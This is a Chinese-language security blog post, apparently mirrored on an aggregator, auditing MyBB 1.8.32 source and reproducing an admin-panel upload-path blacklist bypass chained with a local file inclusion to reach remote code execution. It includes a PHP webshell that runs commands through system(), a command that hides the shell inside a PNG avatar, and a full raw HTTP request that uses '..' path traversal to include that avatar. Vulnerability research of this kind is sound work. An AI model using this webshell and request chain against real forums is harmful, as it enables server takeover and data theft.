8

mybb 1.8.32 代码审计 + LFI RCE 复现

 1 year ago
source link: https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

MYBB论坛简介及漏洞历史

MYBB论坛简介

  • mybb.png

MyBB,以前是MyBBoard,最初是MyBulletinBoard,是由MyBB group开发的免费和开源论坛软件。用PHP编写的,支持MySQL, PostgreSQL和SQLite数据库系统,此外,还具有数据库failover它支持多种语言,并在LGPL下获得许可该软件允许用户通过MyBB促进社区的交互。

MYBB论坛漏洞历史

exploit-db上,最早出现的漏洞可追朔到2005年的一系列sql注入,由于其源码已经在github上开源,从此之后各种类型漏洞频发,还不包括没有公开提交到exploit-db上的漏洞,直到2022,未来一定会爆出更多漏洞,手动狗头。。。

  • mybb1.png
  • mybb2.png

最近2023年1月12日又爆出了mybb 管理员面板的文件包含RCE,这个RCE其实是对之前的管理员面板文件包含RCE记一次mybb代码审计的文件上传路径黑名单的绕过。

php白盒源代码审计

首先从github下载mybb 1.8.32的源码,IDE我用的是vscode编辑器

定位黑名单并找到绕过手段

/Upload/admin/modules/config/settings.php 1172 ~ 1178 行

  • mybb10.png

首先,我们可以在Mybb中设置控制上传目录,但代码里有一个缓解措施,以防止利用

如果查看代码,每个目录都有一个黑名单目录,因为如果可以上传文件

在这个黑名单目录下,配合之后分析的文件包含漏洞很容易造成远程代码执行

缓解措施分析

/Upload/admin/modules/config/settings.php 1200 ~ 1206 行

  • mybb11.png

如果查看代码,比较之前创建的dynamic_include_directores_realpath的值

使用用户输入的数组变量,如果它们相同则取消设置

但是将这些设置更改为前面描述的4个黑名单目录以外的路径则可以实现文件上传

rebuild_settings()函数分析

/Upload/inc/functions.php 6967 ~ 6991 行

  • mybb12.png

如果黑名单验证缓解措施函数通过,则将设置保存在数据库中,并调用rebuild_settings函数在数据库中搜索行,并写入inc/settings.php。

也就是说我们在设置面板中设置上传路径为黑名单路径以外的路径,则可以设置成功,并并调用rebuild_settings函数在数据库中搜索行写入inc/settings.php,上传路径可以修改成功,反之如果设置黑名单里的路径则会失败。

/Upload/inc/functions_upload.php 232 ~ 250 行

  • mybb13.png

因为./inc不存在于settings.php的黑名单中,它可以绕过上传路径黑名单,查看代码中,它使用设置的上传路径来上传。因此,我们可以在inc文件夹中写入有限的文件

/Upload/inc/functions_upload.php 926 ~ 945 行

  • mybb14.png

上传头像时,使用upload_file()函数上传,此时,我们之前设置的路径$path变量就输入进去了,成功上传文件到之前设置的路径。

定位文件包含漏洞

这次的文件包含漏洞也是本次漏洞利用链中最关键的一环,没有它,就无法实现RCE。

首先全局搜索inclued函数,在\mybb\admin\modules\config\languages.php页面的444行发现include函数:@include $editfile;

  • mybb5.png

该函数包含editfile文件,进行查看该文件来源,可以看到430行该文件由folder文件夹和file文件拼接,其中420行看到file文件由post请求提交,接下来查看folder文件夹来源

  • mybb6.png

通过该文件184行看到foler文件夹为MYBB_ROOT.”inc/languages/“.$editlang.”/“,接下来查看editlang变量,通过189行看到判断该文件名后缀为php的文件是否存在,然后查看该文件下辖的php文件只有english.php文件,猜测editlang为english,稍后验证,该变量会通过post请求输入

  • mybb7.png

现在文件的目录结构分析完毕,接下来查看该漏洞页面的接口位置:由于该文件目录为\mybb\admin\modules\config\languages.php,因此,入口为config模板的language方法中,其中控制器为edit,从375行可以看到,同时420行看到post请求中输入file文件

  • mybb8.png
  • mybb9.png

因此我们查看该页面url大概为以下样子:

/admin/index.php?module=config-languages&action=edit

现在进行分析,之前我们自己设置的目录为./inc,因此我们需要向该文件夹下进行上传一个图片,因此我们需要将上传文件目录修改为该文件夹,现在分析如何修改该文件夹:
通过对头像上传文件夹进行跟踪,发现在function_upload.php的241行,该文件夹由全局变量settings控制

  • mybb15.png

对该变量进行跟踪,$mybb->settings[‘avataruploadpath’],发现对$mybb->settings[‘uploadspath’]变量的控制就需要对文件进行修改进行查询,针对关键函数进行搜索:$db->update_query(“settings”发现在\mybb\admin\modules\config\settings.php文件下1254行:

  • mybb16.png

通过value和name变量进行更新,其中value变量是从post请求中的upsetting数组中进行获取其name变量的值:

我们跟踪avataruploadpath变量,进行搜索,有1166行定义数组,而avataruploadpath为数组中的参数,同时也有post请求的upsetting数组进行输入:

  • mybb17.png

现在寻找数据传入方式,发现action方法为change,请求方式为post:

  • mybb18.png

通过该页面17行,发现页面在index页面下调用的模板为config下的setting模板:

  • mybb19.png

因此我们构建的页面就可以为这样,从该页面进行传入数据

http://www.mybb1832.cn/admin/index.php?module=config-settings&action=change

本地环境搭建与黑盒漏洞利用

我是用的宝塔面板搭建的环境,宝塔面板安装参考官方下载安装使用宝塔产品

  • niginx 1.22.1 + php 7.4.33 + phpmyadmin 5.2 + mysql 5.7.43

  • mybb4.png

宝塔面板安装好,并部署好环境之后,后米娜要做的就是修改本机电脑的hosts文件使www.mybb1832.cn域名指向面板环境的IP地址即可,
正常访问,且是mybb 1.8.32版本:

  • mybb20.png

修改上传路径配置并上传头像

登入后台后访问,搜索”Avatar Upload Path”,将其改为”./inc”后,点击”save settings”:

http://www.mybb1832.cn/admin/index.php?module=config-settings&action=change
  • mybb21.png

后面上传的头像文件,就可以上传到/inc目录下,来到头像上传处,选择大小小于1kb的头像,然后点击”save user”,就可以将包含php木马的图片上传到/inc目录下:

http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar
  • mybb22.png

因为网站会进行压缩,将php脚本破坏,现在制作php图片木马:

将包含如下木马内容的php文件和正常png图片文件合并

<?php
if(isset($_REQUEST['cmd'])){
echo "getshell success!";
$cmd = ($_REQUEST['cmd']);
echo system($cmd);
phpinfo();
}
?>
copy close.png/b + shell.php/a shell.png
  • mybb23.png

制作成功,现在上传该文件,并右键复制图像链接,可以看到它在服务器上的文件名为avatar_1.png

http://www.mybb1832.cn/inc/avatar_1.png?dateline=1674025701
  • mybb24.png

路径穿越文件包含实现RCE

现在来进行文件包含之前的图片马,来到:

http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=announcements.lang.php

不用修改任何内容直接点save language file然后抓包发送到repeater:

  • mybb25.png

在repeater中修改file参数值为avatar_1.png,editwith参数值为”..”,即可实现一层路径穿越到/inc目录文件包含avatar_1.png中的php木马,RCE成功

RCE请求包:

POST /admin/index.php?module=config-languages&action=edit&cmd=id HTTP/1.1
Host: www.mybb1832.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 518
Origin: null
Connection: close
Cookie: acploginattempts=0; adminsid=902f49bd1bc1979a9e74d21017afc07c; mybb[lastvisit]=1673917082; mybb[lastactive]=1673917144; sid=3f11a37cfe7a2ad7d6b107c4e2d90168; loginattempts=1; mybbuser=1_9kiPJrzlrCosZesW7Zu3C5drhIa7mKVzJpq6vOAdULRPatNNdw
Upgrade-Insecure-Requests: 1

my_post_key=7f8f8bf788db537641f6607860aa462a&file=avatar_1.png&lang=english&editwith=..&inadmin=0&edit%5Bnav_announcements%5D=Forum+Announcement&edit%5Bannouncements%5D=Announcement&edit%5Bforum_announcement%5D=Forum+Announcement%3A+%7B1%7D&edit%5Berror_invalidannouncement%5D=The+announcement+specified+is+invalid.&edit%5Bannouncement_edit%5D=Edit+this+announcement&edit%5Bannouncement_qdelete%5D=Delete+this+announcement&edit%5Bannouncement_quickdelete_confirm%5D=Are+you+sure+you+want+to+delete+this+announcement%3F
  • mybb26.png
  • mybb27.png
  • mybb28.png

两个点”..”的一层路径穿越即可绕过上传路径黑名单,这就是代码审计的准确性与魅力所在。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK